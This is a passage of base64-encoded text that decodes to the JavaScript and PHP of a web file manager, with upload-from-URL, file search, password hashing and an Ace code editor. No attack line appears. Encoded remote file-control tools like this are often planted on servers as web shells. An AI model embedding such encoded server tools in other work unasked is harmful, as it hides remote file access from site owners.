gICAgICB9XG4gICAgICAgICAgICAgICAgICAgIH1cbiAgICAgICAgICAgICAgICB9KTtcbiAgICAgICAgICAgICAgICByZXR1cm4gZmFsc2U7XG4gICAgICAgICAgICB9XG5cbiAgICAgICAgICAgIGZ1bmN0aW9uIG5ld19wYXNzd29yZF9oYXNoKCR0aGlzKSB7XG4gICAgICAgICAgICAgICAgbGV0IGZvcm0gPSAkKCR0aGlzKSxcbiAgICAgICAgICAgICAgICAgICAgJHB3ZCA9ICQoXCIjanMtcHdkLXJlc3VsdFwiKTtcbiAgICAgICAgICAgICAgICAkcHdkLnZhbCgnJyk7XG4gICAgICAgICAgICAgICAgJC5hamF4KHtcbiAgICAgICAgICAgICAgICAgICAgdHlwZTogZm9ybS5hdHRyKCdtZXRob2QnKSxcbiAgICAgICAgICAgICAgICAgICAgdXJsOiBmb3JtLmF0dHIoJ2FjdGlvbicpLFxuICAgICAgICAgICAgICAgICAgICBkYXRhOiBmb3JtLnNlcmlhbGl6ZSgpICsgXCImdG9rZW49XCIgKyB3aW5kb3cuY3NyZiArIFwiJmFqYXg9XCIgKyB0cnVlLFxuICAgICAgICAgICAgICAgICAgICBzdWNjZXNzOiBmdW5jdGlvbihkYXRhKSB7XG4gICAgICAgICAgICAgICAgICAgICAgICBpZiAoZGF0YSkge1xuICAgICAgICAgICAgICAgICAgICAgICAgICAgICRwd2QudmFsKGRhdGEpO1xuICAgICAgICAgICAgICAgICAgICAgICAgfVxuICAgICAgICAgICAgICAgICAgICB9XG4gICAgICAgICAgICAgICAgfSk7XG4gICAgICAgICAgICAgICAgcmV0dXJuIGZhbHNlO1xuICAgICAgICAgICAgfVxuXG4gICAgICAgICAgICBmdW5jdGlvbiB1cGxvYWRfZnJvbV91cmwoJHRoaXMpIHtcbiAgICAgICAgICAgICAgICBsZXQgZm9ybSA9ICQoJHRoaXMpLFxuICAgICAgICAgICAgICAgICAgICByZXN1bHRXcmFwcGVyID0gJChcImRpdiNqcy11cmwtdXBsb2FkX19saXN0XCIpO1xuICAgICAgICAgICAgICAgICQuYWpheCh7XG4gICAgICAgICAgICAgICAgICAgIHR5cGU6IGZvcm0uYXR0cignbWV0aG9kJyksXG4gICAgICAgICAgICAgICAgICAgIHVybDogZm9ybS5hdHRyKCdhY3Rpb24nKSxcbiAgICAgICAgICAgICAgICAgICAgZGF0YTogZm9ybS5zZXJpYWxpemUoKSArIFwiJnRva2VuPVwiICsgd2luZG93LmNzcmYgKyBcIiZhamF4PVwiICsgdHJ1ZSxcbiAgICAgICAgICAgICAgICAgICAgYmVmb3JlU2VuZDogZnVuY3Rpb24oKSB7XG4gICAgICAgICAgICAgICAgICAgICAgICBmb3JtLmZpbmQoXCJpbnB1dFtuYW1lPXVwbG9hZHVybF1cIikuYXR0cihcImRpc2FibGVkXCIsIFwiZGlzYWJsZWRcIik7XG4gICAgICAgICAgICAgICAgICAgICAgICBmb3JtLmZpbmQoXCJidXR0b25cIikuaGlkZSgpO1xuICAgICAgICAgICAgICAgICAgICAgICAgZm9ybS5maW5kKFwiLmxkcy1mYWNlYm9va1wiKS5hZGRDbGFzcygnc2hvdy1tZScpO1xuICAgICAgICAgICAgICAgICAgICB9LFxuICAgICAgICAgICAgICAgICAgICBzdWNjZXNzOiBmdW5jdGlvbihkYXRhKSB7XG4gICAgICAgICAgICAgICAgICAgICAgICBpZiAoZGF0YSkge1xuICAgICAgICAgICAgICAgICAgICAgICAgICAgIGRhdGEgPSBKU09OLnBhcnNlKGRhdGEpO1xuICAgICAgICAgICAgICAgICAgICAgICAgICAgIGlmIChkYXRhLmRvbmUpIHtcbiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgcmVzdWx0V3JhcHBlci5hcHBlbmQoJzxkaXYgY2xhc3M9XCJhbGVydCBhbGVydC1zdWNjZXNzIHJvd1wiPlVwbG9hZGVkIFN1Y2Nlc3NmdWw6ICcgKyBkYXRhLmRvbmUubmFtZSArICc8XC9kaXY+Jyk7XG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGZvcm0uZmluZChcImlucHV0W25hbWU9dXBsb2FkdXJsXVwiKS52YWwoJycpO1xuICAgICAgICAgICAgICAgICAgICAgICAgICAgIH0gZWxzZSBpZiAoZGF0YVsnZmFpbCddKSB7XG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIHJlc3VsdFdyYXBwZXIuYXBwZW5kKCc8ZGl2IGNsYXNzPVwiYWxlcnQgYWxlcnQtZGFuZ2VyIHJvd1wiPkVycm9yOiAnICsgZGF0YS5mYWlsLm1lc3NhZ2UgKyAnPFwvZGl2PicpO1xuICAgICAgICAgICAgICAgICAgICAgICAgICAgIH1cbiAgICAgICAgICAgICAgICAgICAgICAgICAgICBmb3JtLmZpbmQoXCJpbnB1dFtuYW1lPXVwbG9hZHVybF1cIikucmVtb3ZlQXR0cihcImRpc2FibGVkXCIpO1xuICAgICAgICAgICAgICAgICAgICAgICAgICAgIGZvcm0uZmluZChcImJ1dHRvblwiKS5zaG93KCk7XG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgZm9ybS5maW5kKFwiLmxkcy1mYWNlYm9va1wiKS5yZW1vdmVDbGFzcygnc2hvdy1tZScpO1xuICAgICAgICAgICAgICAgICAgICAgICAgfVxuICAgICAgICAgICAgICAgICAgICB9LFxuICAgICAgICAgICAgICAgICAgICBlcnJvcjogZnVuY3Rpb24oeGhyKSB7XG4gICAgICAgICAgICAgICAgICAgICAgICBmb3JtLmZpbmQoXCJpbnB1dFtuYW1lPXVwbG9hZHVybF1cIikucmVtb3ZlQXR0cihcImRpc2FibGVkXCIpO1xuICAgICAgICAgICAgICAgICAgICAgICAgZm9ybS5maW5kKFwiYnV0dG9uXCIpLnNob3coKTtcbiAgICAgICAgICAgICAgICAgICAgICAgIGZvcm0uZmluZChcIi5sZHMtZmFjZWJvb2tcIikucmVtb3ZlQ2xhc3MoJ3Nob3ctbWUnKTtcbiAgICAgICAgICAgICAgICAgICAgICAgIGNvbnNvbGUuZXJyb3IoeGhyKTtcbiAgICAgICAgICAgICAgICAgICAgfVxuICAgICAgICAgICAgICAgIH0pO1xuICAgICAgICAgICAgICAgIHJldHVybiBmYWxzZTtcbiAgICAgICAgICAgIH1cblxuICAgICAgICAgICAgZnVuY3Rpb24gc2VhcmNoX3RlbXBsYXRlKGRhdGEpIHtcbiAgICAgICAgICAgICAgICB2YXIgcmVzcG9uc2UgPSBcIlwiO1xuICAgICAgICAgICAgICAgICQuZWFjaChkYXRhLCBmdW5jdGlvbihrZXksIHZhbCkge1xuICAgICAgICAgICAgICAgICAgICByZXNwb25zZSArPSBgPGxpPjxhIGhyZWY9XCI/cD0ke3ZhbC5wYXRofSZ2aWV3PSR7dmFsLm5hbWV9XCI+JHt2YWwucGF0aH1cLyR7dmFsLm5hbWV9PFwvYT48XC9saT5gO1xuICAgICAgICAgICAgICAgIH0pO1xuICAgICAgICAgICAgICAgIHJldHVybiByZXNwb25zZTtcbiAgICAgICAgICAgIH1cblxuICAgICAgICAgICAgZnVuY3Rpb24gZm1fc2VhcmNoKCkge1xuICAgICAgICAgICAgICAgIHZhciBzZWFyY2hUeHQgPSAkKFwiaW5wdXQjYWR2YW5jZWQtc2VhcmNoXCIpLnZhbCgpLFxuICAgICAgICAgICAgICAgICAgICBzZWFyY2hXcmFwcGVyID0gJChcInVsI3NlYXJjaC13cmFwcGVyXCIpLFxuICAgICAgICAgICAgICAgICAgICBwYXRoID0gJChcIiNqcy1zZWFyY2gtbW9kYWxcIikuYXR0cihcImhyZWZcIiksXG4gICAgICAgICAgICAgICAgICAgIF9odG1sID0gXCJcIixcbiAgICAgICAgICAgICAgICAgICAgJGxvYWRlciA9ICQoXCJkaXYubGRzLWZhY2Vib29rXCIpO1xuICAgICAgICAgICAgICAgIGlmICghIXNlYXJjaFR4dCAmJiBzZWFyY2hUeHQubGVuZ3RoID4gMiAmJiBwYXRoKSB7XG4gICAgICAgICAgICAgICAgICAgIHZhciBkYXRhID0ge1xuICAgICAgICAgICAgICAgICAgICAgICAgYWpheDogdHJ1ZSxcbiAgICAgICAgICAgICAgICAgICAgICAgIGNvbnRlbnQ6IHNlYXJjaFR4dCxcbiAgICAgICAgICAgICAgICAgICAgICAgIHBhdGg6IHBhdGgsXG4gICAgICAgICAgICAgICAgICAgICAgICB0eXBlOiAnc2VhcmNoJyxcbiAgICAgICAgICAgICAgICAgICAgICAgIHRva2VuOiB3aW5kb3cuY3NyZlxuICAgICAgICAgICAgICAgICAgICB9O1xuICAgICAgICAgICAgICAgICAgICAkLmFqYXgoe1xuICAgICAgICAgICAgICAgICAgICAgICAgdHlwZTogXCJQT1NUXCIsXG4gICAgICAgICAgICAgICAgICAgICAgICB1cmw6IHdpbmRvdy5sb2NhdGlvbixcbiAgICAgICAgICAgICAgICAgICAgICAgIGRhdGE6IGRhdGEsXG4gICAgICAgICAgICAgICAgICAgICAgICBiZWZvcmVTZW5kOiBmdW5jdGlvbigpIHtcbiAgICAgICAgICAgICAgICAgICAgICAgICAgICBzZWFyY2hXcmFwcGVyLmh0bWwoJycpO1xuICAgICAgICAgICAgICAgICAgICAgICAgICAgICRsb2FkZXIuYWRkQ2xhc3MoJ3Nob3ctbWUnKTtcbiAgICAgICAgICAgICAgICAgICAgICAgIH0sXG4gICAgICAgICAgICAgICAgICAgICAgICBzdWNjZXNzOiBmdW5jdGlvbihkYXRhKSB7XG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgJGxvYWRlci5yZW1vdmVDbGFzcygnc2hvdy1tZScpO1xuICAgICAgICAgICAgICAgICAgICAgICAgICAgIGRhdGEgPSBKU09OLnBhcnNlKGRhdGEpO1xuICAgICAgICAgICAgICAgICAgICAgICAgICAgIGlmIChkYXRhICYmIGRhdGEubGVuZ3RoKSB7XG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIF9odG1sID0gc2VhcmNoX3RlbXBsYXRlKGRhdGEpO1xuICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBzZWFyY2hXcmFwcGVyLmh0bWwoX2h0bWwpO1xuICAgICAgICAgICAgICAgICAgICAgICAgICAgIH0gZWxzZSB7XG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIHNlYXJjaFdyYXBwZXIuaHRtbCgnPHAgY2xhc3M9XCJtLTJcIj5ObyByZXN1bHQgZm91bmQhPHA+Jyk7XG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgfVxuICAgICAgICAgICAgICAgICAgICAgICAgfSxcbiAgICAgICAgICAgICAgICAgICAgICAgIGVycm9yOiBmdW5jdGlvbih4aHIpIHtcbiAgICAgICAgICAgICAgICAgICAgICAgICAgICAkbG9hZGVyLnJlbW92ZUNsYXNzKCdzaG93LW1lJyk7XG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgc2VhcmNoV3JhcHBlci5odG1sKCc8cCBjbGFzcz1cIm0tMlwiPkVSUk9SOiBUcnkgYWdhaW4gbGF0ZXIhPFwvcD4nKTtcbiAgICAgICAgICAgICAgICAgICAgICAgIH0sXG4gICAgICAgICAgICAgICAgICAgICAgICBmYWlsdXJlOiBmdW5jdGlvbihtZXMpIHtcbiAgICAgICAgICAgICAgICAgICAgICAgICAgICAkbG9hZGVyLnJlbW92ZUNsYXNzKCdzaG93LW1lJyk7XG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgc2VhcmNoV3JhcHBlci5odG1sKCc8cCBjbGFzcz1cIm0tMlwiPkVSUk9SOiBUcnkgYWdhaW4gbGF0ZXIhPFwvcD4nKTtcbiAgICAgICAgICAgICAgICAgICAgICAgIH1cbiAgICAgICAgICAgICAgICAgICAgfSk7XG4gICAgICAgICAgICAgICAgfSBlbHNlIHtcbiAgICAgICAgICAgICAgICAgICAgc2VhcmNoV3JhcHBlci5odG1sKFwiT09QUzogbWluaW11bSAzIGNoYXJhY3RlcnMgcmVxdWlyZWQhXCIpO1xuICAgICAgICAgICAgICAgIH1cbiAgICAgICAgICAgIH1cblxuICAgICAgICAgICAgZnVuY3Rpb24gY29uZmlybURhaWxvZyhlLCBpZCA9IDAsIHRpdGxlID0gXCJBY3Rpb25cIiwgY29udGVudCA9IFwiXCIsIGFjdGlvbiA9IG51bGwpIHtcbiAgICAgICAgICAgICAgICBlLnByZXZlbnREZWZhdWx0KCk7XG4gICAgICAgICAgICAgICAgY29uc3QgdHBsT2JqID0ge1xuICAgICAgICAgICAgICAgICAgICBpZCxcbiAgICAgICAgICAgICAgICAgICAgdGl0bGUsXG4gICAgICAgICAgICAgICAgICAgIGNvbnRlbnQ6IGRlY29kZVVSSUNvbXBvbmVudChjb250ZW50LnJlcGxhY2UoXC9cXCtcL2csICcgJykpLFxuICAgICAgICAgICAgICAgICAgICBhY3Rpb25cbiAgICAgICAgICAgICAgICB9O1xuICAgICAgICAgICAgICAgIGxldCB0cGwgPSAkKFwiI2pzLXRwbC1jb25maXJtXCIpLmh0bWwoKTtcbiAgICAgICAgICAgICAgICAkKFwiLm1vZGFsLmNvbmZpcm1EYWlsb2dcIikucmVtb3ZlKCk7XG4gICAgICAgICAgICAgICAgJCgnI3dyYXBwZXInKS5hcHBlbmQodGVtcGxhdGUodHBsLCB0cGxPYmopKTtcbiAgICAgICAgICAgICAgICBjb25zdCAkY29uZmlybURhaWxvZyA9ICQoXCIjY29uZmlybURhaWxvZy1cIiArIHRwbE9iai5pZCk7XG4gICAgICAgICAgICAgICAgJGNvbmZpcm1EYWlsb2cubW9kYWwoJ3Nob3cnKTtcbiAgICAgICAgICAgICAgICByZXR1cm4gZmFsc2U7XG4gICAgICAgICAgICB9XG5cbiAgICAgICAgICAgICEgZnVuY3Rpb24ocykge1xuICAgICAgICAgICAgICAgIHMucHJldmlld0ltYWdlID0gZnVuY3Rpb24oZSkge1xuICAgICAgICAgICAgICAgICAgICB2YXIgbyA9IHMoZG9jdW1lbnQpLFxuICAgICAgICAgICAgICAgICAgICAgICAgdCA9IFwiLnByZXZpZXdJbWFnZVwiLFxuICAgICAgICAgICAgICAgICAgICAgICAgYSA9IHMuZXh0ZW5kKHtcbiAgICAgICAgICAgICAgICAgICAgICAgICAgICB4T2Zmc2V0OiAyMCxcbiAgICAgICAgICAgICAgICAgICAgICAgICAgICB5T2Zmc2V0OiAtMjAsXG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgZmFkZUluOiBcImZhc3RcIixcbiAgICAgICAgICAgICAgICAgICAgICAgICAgICBjc3M6IHtcbiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgcGFkZGluZzogXCI1cHhcIixcbiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgYm9yZGVyOiBcIjFweCBzb2xpZCAjY2NjY2NjXCIsXG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIFwiYmFja2dyb3VuZC1jb2xvclwiOiBcIiNmZmZcIlxuICAgICAgICAgICAgICAgICAgICAgICAgICAgIH0sXG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgZXZlbnRTZWxlY3RvcjogXCJbZGF0YS1wcmV2aWV3LWltYWdlXVwiLFxuICAgICAgICAgICAgICAgICAgICAgICAgICAgIGRhdGFLZXk6IFwicHJldmlld0ltYWdlXCIsXG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgb3ZlcmxheUlkOiBcInByZXZpZXctaW1hZ2UtcGx1Z2luLW92ZXJsYXlcIlxuICAgICAgICAgICAgICAgICAgICAgICAgfSwgZSk7XG4gICAgICAgICAgICAgICAgICAgIHJldHVybiBvLm9mZih0KSwgby5vbihcIm1vdXNlb3ZlclwiICsgdCwgYS5ldmVudFNlbGVjdG9yLCBmdW5jdGlvbihlKSB7XG4gICAgICAgICAgICAgICAgICAgICAgICBzKFwicCNcIiArIGEub3ZlcmxheUlkKS5yZW1vdmUoKTtcbiAgICAgICAgICAgICAgICAgICAgICAgIHZhciBvID0gcyhcIjxwPlwiKS5hdHRyKFwiaWRcIiwgYS5vdmVybGF5SWQpLmNzcyhcInBvc2l0aW9uXCIsIFwiYWJzb2x1dGVcIikuY3NzKFwiZGlzcGxheVwiLCBcIm5vbmVcIikuYXBwZW5kKHMoJzxpbWcgY2xhc3M9XCJjLXByZXZpZXctaW1nXCI+JykuYXR0cihcInNyY1wiLCBzKHRoaXMpLmRhdGEoYS5kYXRhS2V5KSkpO1xuICAgICAgICAgICAgICAgICAgICAgICAgYS5jc3MgJiYgby5jc3MoYS5jc3MpLCBzKFwiYm9keVwiKS5hcHBlbmQobyksIG8uY3NzKFwidG9wXCIsIGUucGFnZVkgKyBhLnlPZmZzZXQgKyBcInB4XCIpLmNzcyhcImxlZnRcIiwgZS5wYWdlWCArIGEueE9mZnNldCArIFwicHhcIikuZmFkZUluKGEuZmFkZUluKVxuICAgICAgICAgICAgICAgICAgICB9KSwgby5vbihcIm1vdXNlb3V0XCIgKyB0LCBhLmV2ZW50U2VsZWN0b3IsIGZ1bmN0aW9uKCkge1xuICAgICAgICAgICAgICAgICAgICAgICAgcyhcIiNcIiArIGEub3ZlcmxheUlkKS5yZW1vdmUoKVxuICAgICAgICAgICAgICAgICAgICB9KSwgby5vbihcIm1vdXNlbW92ZVwiICsgdCwgYS5ldmVudFNlbGVjdG9yLCBmdW5jdGlvbihlKSB7XG4gICAgICAgICAgICAgICAgICAgICAgICBzKFwiI1wiICsgYS5vdmVybGF5SWQpLmNzcyhcInRvcFwiLCBlLnBhZ2VZICsgYS55T2Zmc2V0ICsgXCJweFwiKS5jc3MoXCJsZWZ0XCIsIGUucGFnZVggKyBhLnhPZmZzZXQgKyBcInB4XCIpXG4gICAgICAgICAgICAgICAgICAgIH0pLCB0aGlzXG4gICAgICAgICAgICAgICAgfSwgcy5wcmV2aWV3SW1hZ2UoKVxuICAgICAgICAgICAgfShqUXVlcnkpO1xuXG4gICAgICAgICAgICAkKGRvY3VtZW50KS5yZWFkeShmdW5jdGlvbigpIHtcbiAgICAgICAgICAgICAgICB2YXIgJHRhYmxlID0gJCgnI21haW4tdGFibGUnKSxcbiAgICAgICAgICAgICAgICAgICAgdGFibGVMbmcgPSAkdGFibGUuZmluZCgndGgnKS5sZW5ndGgsXG4gICAgICAgICAgICAgICAgICAgIF90YXJnZXRzID0gKHRhYmxlTG5nICYmIHRhYmxlTG5nID09IDcpID8gWzAsIDQsIDUsIDZdIDogdGFibGVMbmcgPT0gNSA/IFswLCA0XSA6IFszXTtcbiAgICAgICAgICAgICAgICBtYWluVGFibGUgPSAkKCcjbWFpbi10YWJsZScpLkRhdGFUYWJsZSh7XG4gICAgICAgICAgICAgICAgICAgIHBhZ2luZzogZmFsc2UsXG4gICAgICAgICAgICAgICAgICAgIGluZm86IGZhbHNlLFxuICAgICAgICAgICAgICAgICAgICBvcmRlcjogW10sXG4gICAgICAgICAgICAgICAgICAgIGNvbHVtbkRlZnM6IFt7XG4gICAgICAgICAgICAgICAgICAgICAgICB0YXJnZXRzOiBfdGFyZ2V0cyxcbiAgICAgICAgICAgICAgICAgICAgICAgIG9yZGVyYWJsZTogZmFsc2VcbiAgICAgICAgICAgICAgICAgICAgfV1cbiAgICAgICAgICAgICAgICB9KTtcblxuICAgICAgICAgICAgICAgICQoJyNzZWFyY2gtYWRkb24nKS5vbigna2V5dXAnLCBmdW5jdGlvbigpIHtcbiAgICAgICAgICAgICAgICAgICAgbWFpblRhYmxlLnNlYXJjaCh0aGlzLnZhbHVlKS5kcmF3KCk7XG4gICAgICAgICAgICAgICAgfSk7XG5cbiAgICAgICAgICAgICAgICAkKFwiaW5wdXQjYWR2YW5jZWQtc2VhcmNoXCIpLm9uKCdrZXl1cCcsIGZ1bmN0aW9uKGUpIHtcbiAgICAgICAgICAgICAgICAgICAgaWYgKGUua2V5Q29kZSA9PT0gMTMpIHtcbiAgICAgICAgICAgICAgICAgICAgICAgIGZtX3NlYXJjaCgpO1xuICAgICAgICAgICAgICAgICAgICB9XG4gICAgICAgICAgICAgICAgfSk7XG5cbiAgICAgICAgICAgICAgICAkKCcjc2VhcmNoLWFkZG9uMycpLm9uKCdjbGljaycsIGZ1bmN0aW9uKCkge1xuICAgICAgICAgICAgICAgICAgICBmbV9zZWFyY2goKTtcbiAgICAgICAgICAgICAgICB9KTtcblxuICAgICAgICAgICAgICAgICQoXCIuZm0tdXBsb2FkLXdyYXBwZXIgLmNhcmQtaGVhZGVyLXRhYnNcIikub24oXCJjbGlja1wiLCAnYScsIGZ1bmN0aW9uKGUpIHtcbiAgICAgICAgICAgICAgICAgICAgZS5wcmV2ZW50RGVmYXVsdCgpO1xuICAgICAgICAgICAgICAgICAgICBsZXQgdGFyZ2V0ID0gJCh0aGlzKS5kYXRhKCd0YXJnZXQnKTtcbiAgICAgICAgICAgICAgICAgICAgJChcIi5mbS11cGxvYWQtd3JhcHBlciAuY2FyZC1oZWFkZXItdGFicyBhXCIpLnJlbW92ZUNsYXNzKCdhY3RpdmUnKTtcbiAgICAgICAgICAgICAgICAgICAgJCh0aGlzKS5hZGRDbGFzcygnYWN0aXZlJyk7XG4gICAgICAgICAgICAgICAgICAgICQoXCIuZm0tdXBsb2FkLXdyYXBwZXIgLmNhcmQtdGFicy1jb250YWluZXJcIikuYWRkQ2xhc3MoJ2hpZGRlbicpO1xuICAgICAgICAgICAgICAgICAgICAkKHRhcmdldCkucmVtb3ZlQ2xhc3MoJ2hpZGRlbicpO1xuICAgICAgICAgICAgICAgIH0pO1xuICAgICAgICAgICAgfSk7XG4gICAgICAgIDxcL3NjcmlwdD5cblxuICAgICAgICA8P3BocCBpZiAoaXNzZXQoJF9HRVRbJ2VkaXQnXSkgJiYgaXNzZXQoJF9HRVRbJ2VudiddKSAmJiBGTV9FRElUX0ZJTEUgJiYgIUZNX1JFQURPTkxZKTpcbiAgICAgICAgICAgICRleHQgPSBwYXRoaW5mbygkX0dFVFtcImVkaXRcIl0sIFBBVEhJTkZPX0VYVEVOU0lPTik7XG4gICAgICAgICAgICAkZXh0ID0gICRleHQgPT0gXCJqc1wiID8gXCJqYXZhc2NyaXB0XCIgOiAgJGV4dDtcbiAgICAgICAgPz5cbiAgICAgICAgICAgIDw/cGhwIHByaW50X2V4dGVybmFsKCdqcy1hY2UnKTsgPz5cbiAgICAgICAgICAgIDxzY3JpcHQ+XG4gICAgICAgICAgICAgICAgdmFyIGVkaXRvciA9IGFjZS5lZGl0KFwiZWRpdG9yXCIpO1xuICAgICAgICAgICAgICAgIGVkaXRvci5nZXRTZXNzaW9uKCkuc2V0TW9kZSh7XG4gICAgICAgICAgICAgICAgICAgIHBhdGg6IFwiYWNlXC9tb2RlXC88P3BocCBlY2hvICRleHQ7ID8+XCIsXG4gICAgICAgICAgICAgICAgICAgIGlubGluZTogdHJ1ZVxuICAgICAgICAgICAgICAgIH0pO1xuICAgICAgICAgICAgICAgIGVkaXRvci5zZXRTaG93UHJpbnRNYXJnaW4oZmFsc2UpO1xuICAgICAgICAgICAgICAgIGZ1bmN0aW9uIGFjZV9jb21tZW5kKGNtZCkge1xuICAgICAgICAgICAgICAgICAgICBlZGl0b3IuY29tbWFuZHMuZXhlYyhjbWQsIGVkaXRvcik7XG4gICAgICAgICAgICAgICAgfVxuICAgICAgICAgICAgICAgIGVkaXRvci5jb21tYW5kcy5hZGRDb21tYW5kcyhbe1xuICAgICAgICAgICAgICAgICAgICBuYW1lOiAnc2F2ZScsXG4gICAgICAgICAgICAgICAgICAgIGJpbmRLZXk6IHtcbiAgICAgICAgICAgICAgICAgICAgICAgIHdpbjogJ0N0cmwtUycsXG4gICAgICAgICAgICAgICAgICAgICAgICBtYWM6ICdDb21tYW5kLVMnXG4gICAgICAgICAgICAgICAgICAgIH0sXG4gICAgICAgICAgICAgICAgICAgIGV4ZWM6IGZ1bmN0aW9uKGVkaXRvcikge1xuICAgICAgICAgICAgICAgICAgICAgICAgZWRpdF9zYXZlKHRoaXMsICdhY2UnKTtcbiAgICAgICAgICAgICAgICAgICAgfVxuICAgICAgICAgICAgICAgIH1dKTtcblxuICAgICAgICAgICAgICAgIGZ1bmN0aW9uIHJlbmRlclRoZW1lTW9kZSgpIHtcbiAgICAgICAgICAgICAgICAgICAgdmFyICRtb2RlRWwgPSAkKFwic2VsZWN0I2pzLWFjZS1tb2RlXCIpLFxuICAgICAgICAgICAgICAgICAgICAgICAgJHRoZW1lRWwgPSAkKFwic2VsZWN0I2pzLWFjZS10aGVtZVwiKSxcbiAgICAgICAgICAgICAgICAgICAgICAgICRmb250U2l6ZUVsID0gJChcInNlbGVjdCNqcy1hY2UtZm9udFNpemVcIiksXG4gICAgICAgICAgICAgICAgICAgICAgICBvcHRpb25Ob2RlID0gZnVuY3Rpb24odHlwZSwgYXJyKSB7XG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgdmFyICRPcHRpb24gPSBcIlwiO1xuICAgICAgICAgICAgICAgICAgICAgICAgICAgICQuZWFjaChhcnIsIGZ1bmN0aW9uKGksIHZhbCkge1xuICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAkT3B0aW9uICs9IFwiPG9wdGlvbiB2YWx1ZT0nXCIgKyB0eXBlICsgaSArIFwiJz5cIiArIHZhbCArIFwiPFwvb3B0aW9uPlwiO1xuICAgICAgICAgICAgICAgICAgICAgICAgICAgIH0pO1xuICAgICAgICAgICAgICAgICAgICAgICAgICAgIHJldHVybiAkT3B0aW9uO1xuICAgICAgICAgICAgICAgICAgICAgICAgfSxcbiAgICAgICAgICAgICAgICAgICAgICAgIF9kYXRhID0ge1xuICAgICAgICAgICAgICAgICAgICAgICAgICAgIFwiYWNlVGhlbWVcIjoge1xuICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBcImJyaWdodFwiOiB7XG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBcImNocm9tZVwiOiBcIkNocm9tZVwiLFxuICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgXCJjbG91ZHNcIjogXCJDbG91ZHNcIixcbiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIFwiY3JpbXNvbl9lZGl0b3JcIjogXCJDcmltc29uIEVkaXRvclwiLFxuICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgXCJkYXduXCI6IFwiRGF3blwiLFxuICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgXCJkcmVhbXdlYXZlclwiOiBcIkRyZWFtd2VhdmVyXCIsXG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBcImVjbGlwc2VcIjogXCJFY2xpcHNlXCIsXG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBcImdpdGh1YlwiOiBcIkdpdEh1YlwiLFxuICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgXCJpcGxhc3RpY1wiOiBcIklQbGFzdGljXCIsXG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBcInNvbGFyaXplZF9saWdodFwiOiBcIlNvbGFyaXplZCBMaWdodFwiLFxuICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgXCJ0ZXh0bWF0ZVwiOiBcIlRleHRNYXRlXCIsXG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBcInRvbW9ycm93XCI6IFwiVG9tb3Jyb3dcIixcbiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIFwieGNvZGVcIjogXCJYQ29kZVwiLFxuICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgXCJrdXJvaXJcIjogXCJLdXJvaXJcIixcbiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIFwia2F0emVubWlsY2hcIjogXCJLYXR6ZW5NaWxjaFwiLFxuICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgXCJzcWxzZXJ2ZXJcIjogXCJTUUwgU2VydmVyXCJcbiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgfSxcbiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgXCJkYXJrXCI6IHtcbiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIFwiYW1iaWFuY2VcIjogXCJBbWJpYW5jZVwiLFxuICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgXCJjaGFvc1wiOiBcIkNoYW9zXCIsXG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBcImNsb3Vkc19taWRuaWdodFwiOiBcIkNsb3VkcyBNaWRuaWdodFwiLFxuICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgXCJkcmFjdWxhXCI6IFwiRHJhY3VsYVwiLFxuICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgXCJjb2JhbHRcIjogXCJDb2JhbHRcIixcbiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIFwiZ3J1dmJveFwiOiBcIkdydXZib3hcIixcbiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIFwiZ29iXCI6IFwiR3JlZW4gb24gQmxhY2tcIixcbiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIFwiaWRsZV9maW5nZXJzXCI6IFwiaWRsZSBGaW5nZXJzXCIsXG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBcImtyX3RoZW1lXCI6IFwia3JUaGVtZVwiLFxuICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgXCJtZXJiaXZvcmVcIjogXCJNZXJiaXZvcmVcIixcbiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIFwibWVyYml2b3JlX3NvZnRcIjogXCJNZXJiaXZvcmUgU29mdFwiLFxuICAgICAgICAgICAgICAg